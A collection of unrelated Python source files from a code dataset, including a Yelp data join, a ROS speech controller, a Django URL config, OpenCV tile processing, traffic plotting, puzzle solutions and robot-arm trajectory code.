+{"seq_id":"271253276","text":"'''\n    Settings.py\n    This is where I am going to define the settings for the whole thing.\n\n    Below is an example specifications dictionary.\n\n'''\n\nspecifications = {\n        'number_of_backups': 3,\n        'source_file_name': \"backup.txt\",\n        'extension': 'txt',\n        'prefix': 'backup_',\n        'source_dir': 'C:\\\\back_up',\n        'dest_dir': 'C:\\\\back_up_dest',\n    }\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"39041862","text":"# Kevin Enario\n# Data integration of all 5 tables\n# MULTI STEP PROCESS DUE TO LARGE DATA\n\n# native imports\n\n# third party imports\nimport pandas as pd\n\n# engineer data\ndef main():\n  join_tip_user()\n  # join_bus_check_tip()  \n\ndef join_tip_user():\n  dfTip = pd.read_csv('csv/yelp_tip_dataset.csv')\n  dfUser = pd.read_csv('csv/yelp_user_dataset.csv')\n\n  # drop column\n  dfTip = dfTip.drop('Unnamed: 0', axis=1)\n\n  toJoin = dfTip.merge(dfUser, how='left', on='user_id')\n  print(toJoin.dtypes)\n\ndef join_bus_check_tip():\n  dfBus = pd.read_csv('csv/yelp_business_dataset_transformed.csv')\n  dfCheck = pd.read_csv('csv/yelp_checkin_dataset.csv')\n  dfTip = pd.read_csv('csv/yelp_tip_dataset.csv')  \n\n  # drop column\n  dfBus = dfBus.drop(['address', 'attributes', 'hours'], axis=1)\n  dfCheck = dfCheck.drop('Unnamed: 0', axis=1)      \n\n  # join\n  toJoin = dfBus.merge(dfCheck, how='left', on='business_id').merge(dfTip, how='left', on='business_id')\n\n  # reduce\n  \n  # test\n  print(toJoin.dtypes)\n  # print(toJoin[['name', 'text']].head(50))\n\n  # convert to csv\n  # toJoin.to_csv('csv/bus_check_tip.csv', index=False)  \n\n\n#################################################### run main ###########################################\nif __name__ == '__main__':\n  main()","sub_path":"dataPreprocessing/integratedDataset/joinDataset.py","file_name":"joinDataset.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"545779519","text":"# -*- coding: utf-8 -*-\n#\nimport helpers\n\nimport matplotlib.pyplot as plt\nimport numpy\n\n\ndef plot():\n    fig = plt.figure()\n\n    xxx = numpy.linspace(0, 5)\n    yyy = xxx**2\n    plt.text(\n            1, 5, 'test1', size=50, rotation=30.,\n            ha='center', va='bottom', color='r', style='italic',\n            weight='light',\n            bbox=dict(\n                boxstyle='round, pad=0.2',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                ls='dashdot'\n                )\n            )\n    plt.text(\n            3, 6, 'test2', size=50, rotation=-30.,\n            ha='center', va='center', color='b', weight='bold',\n            bbox=dict(\n                boxstyle='square',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            4, 8, 'test3', size=20, rotation=90.0,\n            ha='center', va='center', color='b', weight='demi',\n            bbox=dict(\n                boxstyle='rarrow',\n                ls='dashed',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            4, 16, 'test4', size=20, rotation=90.0,\n            ha='center', va='center', color='b', weight='heavy',\n            bbox=dict(\n                boxstyle='larrow',\n                ls='dotted',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            2, 18, 'test5', size=20,\n            ha='center', va='center', color='b',\n            bbox=dict(\n                boxstyle='darrow',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            1, 20, 'test6', size=20,\n            ha='center', va='center', color='b',\n            bbox=dict(\n                boxstyle='circle',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            3, 23, 'test7', size=20,\n            ha='center', va='center', color='b',\n            bbox=dict(\n                boxstyle='roundtooth',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.text(\n            3, 20, 'test8', size=20,\n            ha='center', va='center', color='b',\n            bbox=dict(\n                boxstyle='sawtooth',\n                ec=(1., 0.5, 0.5),\n                fc=(1., 0.8, 0.8),\n                )\n            )\n    plt.plot(xxx, yyy, label='a graph')\n    plt.legend()\n\n    return fig\n\n\ndef test():\n    phash = helpers.Phash(plot())\n    assert phash.phash == '370da93449d3f64c', phash.get_details()\n    return\n\n\nif __name__ == '__main__':\n    plot()\n    plt.show()\n    # phash, _, _, _, _, _, _ = helpers.compute_phash(plot2())\n    # print(phash)\n","sub_path":"test/test_text_overlay.py","file_name":"test_text_overlay.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"607121917","text":"#!/usr/bin/python\n\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom std_msgs.msg import String\nfrom sound_play.libsoundplay import SoundClient\nfrom CorpusGenerator import CorpusGenerator\n\nclass ASRController():\n\n    def __init__(self, corpGen):\n        rospy.init_node('asr_controller')\n        self.corpGen = corpGen\n        self.soundhandle = SoundClient()\n        rospy.sleep(1)\n        self.voice = 'voice_don_diphone'\n        self.volume = 1.0\n\n        rospy.Subscriber('/grammar_data', String, self.parse_speech)\n        rospy.spin()\n\n    def parse_speech(self, speech_data):\n        if speech_data.data.strip() in self.corpGen.listQuestions():\n            answer = self.corpGen.getAnswer(speech_data.data.strip())\n            rospy.loginfo('[SYNTHESIS] Matched Question')\n            self.say(answer, voice=self.voice)\n\n    def say(self, speech):\n        self.soundhandle.say(speech)\n\nif __name__ == \"__main__\":\n    namesFile = rospy.get_param(\"/asr_controller/namesFile\")\n    objectsFile = rospy.get_param(\"/asr_controller/objectsFile\")\n    locationsFile = rospy.get_param(\"/asr_controller/locationsFile\")\n    gesturesFile = rospy.get_param(\"/asr_controller/gesturesFile\")\n    questionsFile = rospy.get_param(\"/asr_controller/questionsFile\")\n    \n    corpGen = CorpusGenerator()\n    corpGen.loadFiles(namesFile, objectsFile, locationsFile, gesturesFile, questionsFile)\n    ASRController(corpGen)","sub_path":"ros_test/src/robocup_asr.py","file_name":"robocup_asr.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"107724649","text":"from html.parser import HTMLParser\n\nfrom urllib.request import urlopen, Request\n\nclass myParser (HTMLParser):\n    def __init__(self):\n        HTMLParser.__init__(self)\n        self.n_polos = 0\n\n    def handle_starttag(self, tag, attrs):\n        if tag == 'p':\n            for attr in attrs:\n                if attr[0] == 'class' and attr[1] == 'item-polos':\n                    self.n_polos +=1\n\n    def num_polos (self):\n        return self.n_polos\n\ndef getSource(url):\n    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (khtml, like Gecko) Chrome/41.0.2228.0 Safari/537.3'}\n    reg_url = \"https:xxxx0000\"\n    req = Request (url = url, headers=headers)\n    html = urlopen (req).read()\n    return html.decode()\n\nhtml = getSource ('https://univesp.br/cursos/engenharia-de-computacao') \nparser = myParser()\nparser.feed(html)\nparser.num_polos   \nprint(parser.n_polos)\n\n","sub_path":"busca_polos.py","file_name":"busca_polos.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"65352015","text":"from django import http\nfrom django.conf.urls import url\n\nfrom . import views\n\n\nurlpatterns = [\n    url(r\"^$\", views.plog_index, name=\"plog_index\"),\n    url(r\"^calendar/$\", views.calendar, name=\"calendar\"),\n    url(r\"^calendar/data/$\", views.calendar_data, name=\"calendar_data\"),\n    url(r\"^new-comments$\", views.new_comments, name=\"new_comments\"),\n    url(r\"^prepare.json$\", views.prepare_json, name=\"prepare\"),\n    url(r\"^preview.json$\", views.preview_json, name=\"preview\"),\n    url(r\"^hits$\", views.plog_hits, name=\"plog_hits\"),\n    url(r\"^hits/data$\", views.plog_hits_data, name=\"plog_hits_data\"),\n    url(r\"^(.*)/submit$\", views.submit_json, name=\"submit\"),\n    url(\n        \"^(.*)/all-comments$\",\n        views.all_blog_post_comments,\n        name=\"all_plog_post_comments\",\n    ),\n    url(r\"^screenshot/(.*)\", views.blog_screenshot, name=\"blog_screenshot\"),\n    url(\n        r\"^(?P<oid>.*)/p(?P<page>\\d+)/ping$\",\n        views.blog_post_ping,\n        name=\"blog_post_ping\",\n    ),\n    url(r\"^(?P<oid>.*)/ping$\", views.blog_post_ping, name=\"blog_post_ping\"),\n    url(\n        r\"^(?P<oid>.*)/p(?P<page>\\d+)/awspa$\",\n        views.blog_post_awspa,\n        name=\"blog_post_awspa\",\n    ),\n    url(r\"^(?P<oid>.*)/awspa$\", views.blog_post_awspa, name=\"blog_post_awspa\"),\n    url(\n        r\"^(?P<oid>.*)/p(?P<page>\\d+)/$\",\n        lambda r, oid, page: http.HttpResponseRedirect(\"/{}/p{}\".format(oid, page)),\n    ),\n    url(r\"^(?P<oid>.*)/p(?P<page>\\d+)$\", views.blog_post, name=\"blog_post\"),\n    url(r\"^(?P<oid>.*)\", views.blog_post, name=\"blog_post\"),\n]\n","sub_path":"peterbecom/plog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"378564960","text":"from notbot.context import Context, Module\nfrom discord.ext import commands\nfrom typing import Union\nfrom discord import Member\nfrom .util import create_embed\n\nMODULE_NAME = \"personal_commands_module\"\n\n\nclass PersonalCommandsModule(commands.Cog, Module):\n    def __init__(self, context: Context):\n        self.bot = context.get_bot()\n        self.kira = 441525718065872906\n\n    def get_name(self):\n        return MODULE_NAME\n\n    @commands.command(name=\"judgement\", aliases=[\"judge\"])\n    async def _judge(self, ctx, user: Union[Member]):\n        if not ctx.author.id == self.kira:\n            raise commands.BadArgument(\n                \"You do not have the power to write the death note.\"\n            )\n        if not user:\n            raise commands.BadArgument(\"You must write a name in the death note.\")\n        embed = create_embed(self.bot)\n        embed.description = (\n            f\"I am the god of the new world! {user} is now written in the death note.\"\n        )\n        embed.set_image(\n            url=\"https://cdn.discordapp.com/attachments/478869899499012096/596230452071890964/writesinnote.gif\"\n        )\n        await ctx.send(embed=embed)\n\n\ndef setup(bot):\n    context: Context = bot.context\n\n    info_module = context.get_module(MODULE_NAME)\n    bot.add_cog(info_module)\n","sub_path":"notbot/cogs/personal_commands.py","file_name":"personal_commands.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"466182182","text":"import numpy as np\nimport pandas\n\ndata = pandas.read_csv(\"2018_Central_Park_Squirrel_Census_-_Squirrel_Data.csv\")\n\ncolor_set = set(data['Primary Fur Color'])\ncolor_set.remove(np.nan)\ncolor_dict = {\"Fur Color\": [], \"Count\": []}\nfor color in color_set:\n    fur_color_group = data.groupby(data[\"Primary Fur Color\"] == color).count()[\"Primary Fur Color\"]\n    color_dict[\"Fur Color\"].append(color)\n    color_dict[\"Count\"].append(fur_color_group.loc[True])\n\nprint(color_dict)\npd_data = pandas.DataFrame(color_dict)\nprint(pd_data)\n\npd_data.to_csv('squirrel_count.csv')\n\n\n\n","sub_path":"pandas-intro/squirrel.py","file_name":"squirrel.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"448032781","text":"STEP = 394\n\nclass Node:\n    def __init__(self, value):\n        self.value = value\n        self.next = None\n    def insert_after(self, value):\n        x = Node(value)\n        x.next = self.next\n        self.next = x\n    def __iter__(self):\n        cur = self\n        while cur is not None:\n            yield cur.value\n            cur = cur.next\n        \ndef value_after(iterable, target):\n    g = iter(iterable)\n    for x in g:\n        if x == target:\n            break\n    return next(g)\n\ndef create_buffer(step, rounds):\n    start = cur = Node(0)\n    cur.next = cur\n    for i in range(1, rounds+1):\n        for _ in range(step):\n            cur = cur.next\n        cur.insert_after(i)\n        cur = cur.next\n    return start\n\ndef number_following_zero(step, rounds):\n    #two observations:\n    #1. We can easily keep track of zero's index, and the state of the \n    #   index following it, without having to keep track of the value at any\n    #   other index. So we have O(1) memory consumption.\n    #2. When the buffer has a size of at least `k*step` where k >= 2, \n    #   we can skip at least k-1 intermediate insertions, which can provide\n    #   substantial performance increases compared to the conventional approach,\n    #   when `rounds` is much larger than `step`. \n    #   Which it happens to be for part 2 :-)\n    idx = 0\n    x = None\n    size = 1\n    while size < rounds+1:\n        insertions_this_loop = (size - idx) // step\n        \n        if idx == 0:\n            x = size\n        if insertions_this_loop > 0:\n            size += insertions_this_loop\n            idx = (idx + (step+1)*insertions_this_loop) % size\n        else:\n            size += 1\n            idx = (idx + step + 1)% (size)\n    return x\n\n#part 1\nbuf = create_buffer(STEP, 2017)\nprint(value_after(buf, 2017))\n\n#part 2\nprint(number_following_zero(STEP, 50000000))\n","sub_path":"day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"412606664","text":"# 1. 暴力法\n#       遍历每根柱子，查找left bound, right bound, 边界为比当前柱子高度高最多的柱子\n#       雨水量 = max(min(leftBound, rightBound) - current, 0)\n#       [0] = min(0, 1) - 0 = 0\n#       [1] = min(0, 2) - 1 = 0\n#       [2] = min(1, 2) - 0 = 1\n#       [3] = min(0, 3) - 2 = 0\n#       [4] = min(2, 3) - 1 = 1\n#       [5] = min(2, 3) - 0 = 2\n#       [6] = min(2, 3) - 1 = 1\n#       [7] = min(0, 0) - 3 = 0\n#       [8] = min(3, 2) - 2 = 0\n#       [9] = min(2, 2) - 1 = 1\n#       [10] = min(3, 0) - 2 = 0\n#       [11] = min(2, 0) - 1 = 0\n#       \n# 2. 动态规划\n#       事先遍历保存左右边界，最后一趟遍历计算积水\n#       保存左右边界时使用动态规划:\n#         Left[i] = max(Left[i-1], height[i-1])\n#         Right[i] = max(Right[i+1], height[i+1])\n# 3. 栈\n# \n# 4. 双指针\n# \n# \nclass Solution:\n    def trap(self, height: List[int]) -> int:\n        # 1. 暴力法\n        # size = len(height)\n        # total = 0\n        # for i in range(1, size-1):\n        #     leftBound = 0\n        #     rightBound = 0\n        #     for j in range(i-1, -1, -1):\n        #         if height[i] < height[j] and leftBound < height[j]:\n        #             leftBound = height[j]\n        #     for j in range(i+1, size):\n        #         if height[i] < height[j] and rightBound < height[j]:\n        #             rightBound = height[j]\n        #     area = min(leftBound, rightBound) - height[i]\n        #     area = max(area, 0)\n        #     total += area\n        # return total\n\n        # 2. 动态规划\n        # total = 0\n        # size = len(height)\n        # left = [0]*size\n        # right = [0]*size\n        # for i in range(1, size):\n        #     left[i] = max(left[i-1], height[i-1])\n        # for i in range(size-2, -1, -1):\n        #     right[i] = max(right[i+1], height[i+1])\n        # for i in range(size):\n        #     area = max(min(left[i], right[i]) - height[i], 0)\n        #     total += area\n        # return total\n\n        # 3. 栈\n        # total = 0\n        # size = len(height)\n        # if size <= 2:\n        #     return 0\n        # stack = []\n        # stack.append(0)\n        # stack.append(1)\n        # for i in range(2, size):\n        #     while stack and height[i] > height[stack[-1]]:\n        #         # 存在积水，进行计算\n        #         curr = stack.pop()\n        #         if stack:\n        #             heigh = min(height[stack[-1]], height[i]) - height[curr]\n        #             width = i - stack[-1] - 1\n        #             area = heigh * width\n        #             total += max(area, 0)\n        #     stack.append(i)\n        # return total\n\n        # 4. 双指针\n        total = 0\n        left = 0\n        right = len(height) - 1\n        leftBound = rightBound = 0\n        while left  <= right:\n            leftBound = max(leftBound, height[left])\n            rightBound = max(rightBound, height[right])\n            if leftBound <= rightBound:\n                total += leftBound - height[left]\n                left +=1 \n            else:\n                total += rightBound - height[right]\n                right -= 1\n        return total","sub_path":"Week_02/G20200389010044/LeetCode_42_0044.py","file_name":"LeetCode_42_0044.py","file_ext":"py","file_size_in_byte":3161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"400790030","text":"import cv2\nimport numpy as np\n\nimages = [\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/up.png',0),\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/down.png',0),\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/right.png',0),\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/left.png',0),\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/loopstart.png',0),\n    cv2.imread('/Users/jhaip/Code/lovelace/src/standalone_processes/files/cv_tiles/loopstop.png',0),\n]\n\ndef draw_style1():\n    modimages = cv2.hconcat(images)\n    cv2.imshow('style1', modimages)\n\ndef draw_style2():\n    kernel = np.ones((5,5),np.uint8)\n    modimages = []\n    for m in images:\n        t = cv2.erode(m,kernel,iterations=4)\n        modimages.append(t)\n    combined = cv2.hconcat(modimages)\n    cv2.imshow('style2', combined)\n\ndef draw_style3():\n    kernel = np.ones((3,3),np.uint8)\n    modimages = []\n    for m in images:\n        t = cv2.erode(m,kernel,iterations=6)\n        modimages.append(t)\n    combined = cv2.hconcat(modimages)\n    cv2.imshow('style3', combined)\n\ndef draw_style4():\n    modimages = []\n    for m in images:\n        cdst = cv2.cvtColor(m, cv2.COLOR_GRAY2BGR)\n        edges = cv2.Canny(m,50,150,apertureSize = 3)\n        lines = cv2.HoughLines(edges,1,np.pi/180,25)\n        if lines is not None:\n            for line in lines:\n                for rho,theta in line:\n                    a = np.cos(theta)\n                    b = np.sin(theta)\n                    x0 = a*rho\n                    y0 = b*rho\n                    x1 = int(x0 + 1000*(-b))\n                    y1 = int(y0 + 1000*(a))\n                    x2 = int(x0 - 1000*(-b))\n                    y2 = int(y0 - 1000*(a))\n\n                    cv2.line(cdst,(x1,y1),(x2,y2),(0,0,255),2)\n        modimages.append(cdst)\n    combined = cv2.hconcat(modimages)\n    cv2.imshow('lines', combined)\n\ndef draw_style5():\n    modimages = []\n    for m in images:\n        size = np.size(m)\n        skel = np.zeros(m.shape,np.uint8)\n        element = cv2.getStructuringElement(cv2.MORPH_CROSS,(3,3))\n        done = False\n        while(not done):\n            eroded = cv2.erode(m,element)\n            temp = cv2.dilate(eroded,element)\n            temp = cv2.subtract(m,temp)\n            skel = cv2.bitwise_or(skel,temp)\n            m = eroded.copy()\n\n            zeros = size - cv2.countNonZero(m)\n            if zeros==size:\n                done = True\n        modimages.append(skel)\n    combined = cv2.hconcat(modimages)\n    cv2.imshow('skel', combined)\n\ndef draw_contours():\n    kernel = np.ones((7,7),np.uint8)\n    modimages = []\n    modimages2 = []\n    for m in images:\n        cdst = cv2.cvtColor(m, cv2.COLOR_GRAY2BGR)\n        dilation = cv2.dilate(m,kernel,iterations = 1)\n        image, contours, hierarchy = cv2.findContours(dilation,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)    \n        biggest_contours = sorted(contours, key = cv2.contourArea, reverse = True)[:1] # get largest contour\n        # cdst = cv2.drawContours(cdst, contours, -1, (0,255,0), 3)\n        cdst = cv2.drawContours(cdst, biggest_contours, -1, (0,255,0), 3)\n        modimages.append(cdst)\n        c = biggest_contours[0]\n        # determine the most extreme points along the contour\n        extLeft = tuple(c[c[:, :, 0].argmin()][0])\n        extRight = tuple(c[c[:, :, 0].argmax()][0])\n        extTop = tuple(c[c[:, :, 1].argmin()][0])\n        extBot = tuple(c[c[:, :, 1].argmax()][0])\n        cv2.rectangle(cdst,(extLeft[0],extTop[1]),(extRight[0],extBot[1]),(0,255,0),1)\n\n        closing = cv2.morphologyEx(m, cv2.MORPH_CLOSE, kernel)\n        erosion = cv2.erode(closing,kernel,iterations = 1)\n        dilation_copy = m.copy()\n        cropped = dilation_copy[extTop[1]:extBot[1], extLeft[0]:extRight[0]]\n        dim = (40, 40)\n        resized = cv2.resize(cropped, dim, interpolation = cv2.INTER_NEAREST)\n        modimages2.append(resized)\n\n    combined = cv2.hconcat(modimages)\n    cv2.imshow('contours', combined)\n    combined2 = cv2.hconcat(modimages2)\n    cv2.imshow('contours_cropped', combined2)\n\n\n# cv2.imshow('image',img)\n# cv2.imshow('image1', erosion1)\n# cv2.imshow('image2',erosion10)\n# cv2.imshow('image3', erosion3)\n# cv2.imshow('erosion11', erosion11)\ndraw_style1()\ndraw_style2()\ndraw_style3()\ndraw_style4()\ndraw_style5()\ndraw_contours()\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"erode.py","file_name":"erode.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"157516386","text":"import matplotlib.pyplot as plt\nfrom datetime import datetime, timedelta\nimport csv\nimport sys\n\nPATH = '../csv/vehicles.csv'\nHOURS = 24\nday = 24\nmonth = 8\nstart_date = datetime(2019, month, day)\nend_date = start_date + timedelta(days=1)\n\ntraffic = [0] * HOURS\ntraffic_left = [0] * HOURS\ntraffic_right = [0] * HOURS\nabs_traffic = 0\navg_traffic_hour = 0\ntext_traffic = \"\"\n\navg_speed_hour = [0] * HOURS\navg_speed = 0\nmax_speed = 0\ntext_speed = \"\"\n\nfig = None\n\n\ndef main():\n    global fig\n    fig, ax1 = plt.subplots()\n    ax2 = ax1.twinx()\n    ax1.grid()\n\n    plt.title(\"TRAFFIC VOLUME\\n\" + start_date.strftime(\"%d. %b %Y (%a)\"))\n    # plt.tight_layout()\n\n    ax1.set_xlabel('Hours')\n    x_axis = [i for i in range(HOURS)]\n    hours = []\n    for i in range(HOURS):\n        if i % 2 == 0:\n            hour = (start_date + timedelta(hours=i)).strftime(\"%H:%M\")\n            hours.append(hour)\n        else:\n            hours.append(\"\")\n    plt.xticks(x_axis, hours)\n    plt.gcf().autofmt_xdate()\n\n    get_vehicles()\n\n    set_text()\n    plt.gcf().text(0.12, 0.9, text_traffic, fontweight=\"bold\")\n    plt.gcf().text(0.24, 0.9, text_speed, fontweight=\"bold\")\n\n    ax1.set_ylabel('Vehicles')\n    ax1.set_yticks([i for i in range(600) if i % 50 == 0])\n\n    line1, = ax1.plot(x_axis, traffic)\n    line2, = ax1.plot(x_axis, [avg_traffic_hour] * HOURS, linestyle=\"--\", color=\"orange\")\n    line3, = ax1.plot(x_axis, traffic_left, linestyle=\":\", color=\"green\")\n    line4, = ax1.plot(x_axis, traffic_right, linestyle=\"-.\", color=\"red\")\n\n    ax2.set_ylabel('Speed (km/h)')\n    line5, = ax2.plot(x_axis, avg_speed_hour, linestyle=\":\", color=\"magenta\")\n    ax2.set_yticks([i for i in range(100) if i % 10 == 0])\n\n    plt.legend((line1, line2, line3, line4, line5), ('absolute', 'average', 'dir left (k)', 'dir right (w)', 'speed'))\n    plt.show()\n\n\ndef get_vehicles():\n    global traffic, traffic_left, traffic_right, avg_traffic_hour, avg_speed_hour, abs_traffic, avg_speed, max_speed\n    speeds = [0] * HOURS\n    speeds_traffic = [0] * HOURS\n    max_speeds = [0] * 100\n    with open(PATH) as file:\n        csv_reader = csv.DictReader(file)\n        for vehicle in csv_reader:\n            timestamp = float(vehicle['first_seen'])\n            date = datetime.fromtimestamp(timestamp)\n            if date < start_date:\n                continue\n            elif date < end_date:\n                hour = date.hour\n                traffic[hour] += 1\n                if vehicle['dir'] == 'left':\n                    traffic_left[hour] += 1\n                else:\n                    traffic_right[hour] += 1\n                try:\n                    vehicle_speed = float(vehicle['speed'])\n                    if 40 < vehicle_speed < 200:\n                        speeds[hour] += vehicle_speed\n                        speeds_traffic[hour] += 1\n                    min_speed = min(max_speeds)\n                    if min_speed < vehicle_speed < 200:\n                        for i in range(len(max_speeds)):\n                            if max_speeds[i] == min_speed:\n                                max_speeds[i] = vehicle_speed\n                                break\n                except ValueError:\n                    continue\n            elif date >= end_date:\n                break\n    abs_traffic = sum(traffic)\n    avg_traffic_hour = int(abs_traffic / HOURS)\n    sum_speeds_traffic = sum(speeds_traffic)\n    if sum_speeds_traffic != 0:\n        avg_speed_hour = list(map(lambda s, t: round(s / t, 2) if t > 3 else None, speeds, speeds_traffic))\n        avg_speed = round(sum(speeds) / sum_speeds_traffic, 2)\n        max_speed = round(sum(max_speeds) / len(max_speeds), 2)\n\n\ndef set_text():\n    global text_traffic, text_speed\n    if abs_traffic != 0:\n        abs_traffic_left = sum(traffic_left)\n        abs_traffic_right = sum(traffic_right)\n        text_traffic = \"Vehicles total: \" + \"{:,}\".format(abs_traffic) \\\n                       + \"\\nLeft/right: \" + \"{:,}\".format(abs_traffic_left) + \"/{:,}\".format(abs_traffic_right) \\\n                       + \"\\nVehicles per hour: \" + \"{:,}\".format(avg_traffic_hour)\n        text_speed = \"Speed avg: \" + \"{:,}\".format(avg_speed) + \" km/h\" \\\n                     + \"\\nSpeed max: \" + \"{:,}\".format(max_speed) + \" km/h\"\n\n\ndef set_dates():\n    global day, month, start_date, end_date\n    if len(sys.argv) == 2:\n        day = int(sys.argv[1])\n    elif len(sys.argv) == 3:\n        day = int(sys.argv[1])\n        month = int(sys.argv[2])\n    start_date = datetime(2019, month, day)\n    end_date = start_date + timedelta(days=1)\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) > 1:\n        set_dates()\n    main()\n","sub_path":"plotters/vehicle_plotter_day.py","file_name":"vehicle_plotter_day.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"221014658","text":"import numpy as np\nfrom . import kin\nimport plotly.graph_objs as go\n\n# create the matrix to plot the robot arm\ndef calctrajectorymat(thetamat, robobj):\n\n    i = 0\n    nopoints = len(thetamat)\n    trajectorymat = np.zeros((nopoints, robobj.jointno + 1, 3))\n\n    while i < nopoints:\n        trajectorymat[i] = kin.fwd(robobj, thetamat[i])\n        i = i + 1\n\n    return trajectorymat\n\n\n# create list of joint angles from initial to final position of the robot\ndef calctrac(robobj, thetainit, thetafinal, nopoints):\n\n    thetamat = np.zeros((nopoints + 2, robobj.jointno))\n    thetamat[0] = thetainit\n\n    i = 1\n    while i < nopoints + 2:\n        j = 0\n        while j < robobj.jointno:\n            thetamat[i][j] = thetainit[j] + i*thetafinal[j]/(nopoints+1)\n            j = j + 1\n        i = i + 1\n\n    return calctrajectorymat(thetamat, robobj)\n\n\ndef linetrac(robobj, pt1, pt2):\n    x = np.linspace(pt1[0], pt2[0])\n    y = np.linspace(pt1[1], pt2[1])\n    z = np.linspace(pt1[2], pt2[2])\n\n    i = 0\n    thetamat = np.zeros((len(x), 3))\n\n    while i < len(x):\n        thetamat[i] = kin.inv(robobj, [x[i], y[i], z[i]])\n        i = i + 1\n\n    return calctrajectorymat(thetamat, robobj)\n\n\ndef viapts(robobj,mat):\n\n    x_arr = []\n    y_arr = []\n    z_arr = []\n\n    i = 0\n    while i < len(mat):\n        if(i == 0):\n            start = mat[i]\n            i = i + 1\n        else:\n            end = mat[i]\n            x = np.linspace(start[0], end[0], 10)\n            y = np.linspace(start[1], end[1], 10)\n            z = np.linspace(start[2], end[2], 10)\n            start = mat[i]\n            i = i + 1\n            x_arr = np.append(x_arr, x)\n            y_arr = np.append(y_arr, y)\n            z_arr = np.append(z_arr, z)\n\n    i = 0\n    thetamat = np.zeros((len(x_arr), 3))\n\n    while i < len(x_arr):\n        thetamat[i] = kin.inv(robobj, [x_arr[i], y_arr[i], z_arr[i]])\n        i = i + 1\n\n    return calctrajectorymat(thetamat, robobj)\n\n\n# Making the trajectory in 3D in plotly from the trajectory matrix\ndef trajectory_end(robobj, trajectorymat):\n\n    nopoints = len(trajectorymat)\n\n    x_array = np.zeros(nopoints)\n    y_array = np.zeros(nopoints)\n    z_array = np.zeros(nopoints)\n\n    i = 0\n    while i < nopoints:\n        x_array[i] = trajectorymat[i][robobj.jointno][0]\n        y_array[i] = trajectorymat[i][robobj.jointno][1]\n        z_array[i] = trajectorymat[i][robobj.jointno][2]\n        i = i + 1\n\n    trac = go.Scatter3d(\n        x=x_array, y=y_array, z=z_array,\n        marker=dict(\n            size=5,\n        ),\n        line=dict(\n            color='#ff7f0e',\n            width=2\n        )\n    )\n\n    data = [trac]\n\n    return data\n\n\n# Making the trajectory  for joints in 3D in plotly from the trajectory matrix\ndef trajectory_joints(robobj, trajectorymat):\n\n    nopoints = len(trajectorymat)\n\n    x_array = np.zeros(nopoints)\n    y_array = np.zeros(nopoints)\n    z_array = np.zeros(nopoints)\n\n    i = 0\n    while i < nopoints:\n        x_array[i] = trajectorymat[i][robobj.jointno - 1][0]\n        y_array[i] = trajectorymat[i][robobj.jointno - 1][1]\n        z_array[i] = trajectorymat[i][robobj.jointno - 1][2]\n        i = i + 1\n\n    trac = go.Scatter3d(\n        x=x_array, y=y_array, z=z_array,\n        marker=dict(\n            size=5,\n        ),\n        line=dict(\n            color='#ff7f0e',\n            width=2\n        )\n    )\n\n    data = [trac]\n\n    return data\n\n\n","sub_path":"build/lib/kineticspy/trajectory.py","file_name":"trajectory.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
